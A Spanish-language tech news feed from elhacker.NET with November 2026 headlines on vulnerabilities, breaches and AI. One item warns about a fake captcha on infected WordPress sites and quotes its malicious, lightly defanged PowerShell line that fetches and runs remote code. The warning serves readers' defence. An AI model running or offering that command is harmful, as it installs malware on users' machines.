elhacker.NET

Grave fallo de Apache HTTP/2 podría permitir la ejecución remota de código por atacantes no autenticados Se ha detectado una falla crítica (CVE-2026-119618) en el módulo HTTP/2 de Apache HTTP Server que permite a atacantes remotos ejecutar código y tomar control del servidor Afecta a las versiones 2.4.55 hasta 2.4.70, siendo la versión 2.4.71 la solución oficial blog.elhacker.net/2026/11/gr…

Musk quiere a Jensen Huang en Tesla Elon Musk ha manifestado que sería un honor contratar a Jensen Huang si este llegara a dejar su cargo como CEO de NVIDIA blog.elhacker.net/2026/11/mu…

UE prohíbe loot boxes y suscripciones trampa La Comisión Europea presenta la Ley de Equidad Digital para combatir las cajas de botín y las suscripciones engañosas en apps y videojuegos. blog.elhacker.net/2026/11/ue…

IA desplaza a mítico desarrollador de Linux Lorenzo Stoakes, desarrollador del kernel de Linux, abandona su cargo debido a la saturación de código generado por IA, a pesar del apoyo de Linus Torvalds a estas herramientas blog.elhacker.net/2026/11/ia…

Synology publica dos vulnerabilidades críticas en DSM Dos vulnerabilidades críticas en DSM (CVE-2026-76954 y CVE-2026-85101) que permiten a atacantes remotos leer y escribir archivos sin autenticación y causar denegaciones de servicio, por lo que es urgente instalar las actualizaciones de seguridad disponibles blog.elhacker.net/2026/11/sy…

AMD Zen 6 ya es oficial: estos son todos los modelos de CPU EPYC SP7 con hasta 256 Cores, 512 hilos y más de 1 GB de caché blog.elhacker.net/2026/11/am…

La VPN gratuita de Firefox no tiene límite de datos hasta el 31 de enero de 2027 blog.elhacker.net/2026/11/la…

Git corrige 6 vulnerabilidades de seguridad que permitían ejecutar código malicioso blog.elhacker.net/2026/11/gi…

Grupo BYOD afirma haber hackeado a Toyota El grupo de ransomware BYOD ha afirmado presuntamente haber vulnerado los datos de Toyota , asegurando que obtuvieron información personal blog.elhacker.net/2026/11/gr…

SAP corrige cuatro fallas críticas CVSS 10.0 SAP ha parcheado cuatro fallas críticas con puntuación CVSS 10.0 que permiten ejecución remota de código y acceso no autorizado blog.elhacker.net/2026/11/sa…

Trump elige al jefe de seguridad de Palantir para dirigir la debilitada agencia de ciberdefensa de EE. UU. Donald Trump nominó a Michael LoSapio, jefe de seguridad de Palantir, para dirigir la CISA, la agencia de ciberdefensa civil de EE. UU. blog.elhacker.net/2026/11/tr…

Siri tendrá memoria persistente Apple implementará una memoria persistente en Siri para recordar datos de salud, relaciones y rutinas del usuario y personalizar las interacciones blog.elhacker.net/2026/11/si…

Página web con WordPress infectada con falso captcha Pide introducir el comando en PowerShell o CMD ❌IRM gitlab[].com/wiktor1992/5a7-c750-4e63-a8ef-b47c51850b86/-/raw/main/322-8a5e-1c6ee27902bd | IEX Nunca, introduzcas ningún código en el terminal de una página web para completar un captcha (comprobación robot)

Meta lanza Muse Ember para programar y automatizar Meta Muse Ember , su modelo de IA más pequeño y eficiente , diseñado para programar y automatizar tareas complejas mediante agentes blog.elhacker.net/2026/11/me…

Filtración de datos en el boletín de SEGA expone 2,2 millones de correos electrónicos SEGA informó que una brecha de seguridad en su proveedor de boletines, ARARA, expuso los correos electrónicos de 2.2 millones de suscriptores blog.elhacker.net/2026/11/fi…

Microsoft patenta alquiler de GPU para IA Microsoft ha patentado un sistema para que los usuarios alquilen la potencia de su GPU para el entrenamiento de modelos de IA a cambio de dinero o software blog.elhacker.net/2026/11/mi…

Los drivers AMD Radeon están desgastando los SSD: un fallo provoca miles de GB de escritos de forma innecesaria AMD ha admitido un fallo en sus drivers Radeon que genera escrituras constantes e innecesarias en los SSD , provocando su desgaste prematuro blog.elhacker.net/2026/11/lo…

Claude AI borra accidentalmente el programa y las notas de un profesor de Derecho William Baude, profesor de derecho de la Universidad de Chicago, informó que la IA Claude de Anthropic eliminó accidentalmente su programa de estudios actual y un año de notas de clase de derecho constitucional mientras realizaba una tarea sencilla de edición blog.elhacker.net/2026/11/cl…

ModSecurity corrige dos fallos graves de salto de WAF y ejecución remota de código Se han revelado dos fallos de alta gravedad en ModSecurity, el firewall de aplicaciones web (WAF) de código abierto compatible con Apache, IIS y Nginx blog.elhacker.net/2026/11/mo…

EE. UU. prohíbe el exchange de criptomonedas MEXC por evasión de sanciones y vínculos con el cibercrimen El Departamento del Tesoro de EE. UU. excluyó al exchange de criptomonedas MEXC Global del sistema financiero estadounidense por evadir sanciones blog.elhacker.net/2026/11/ee…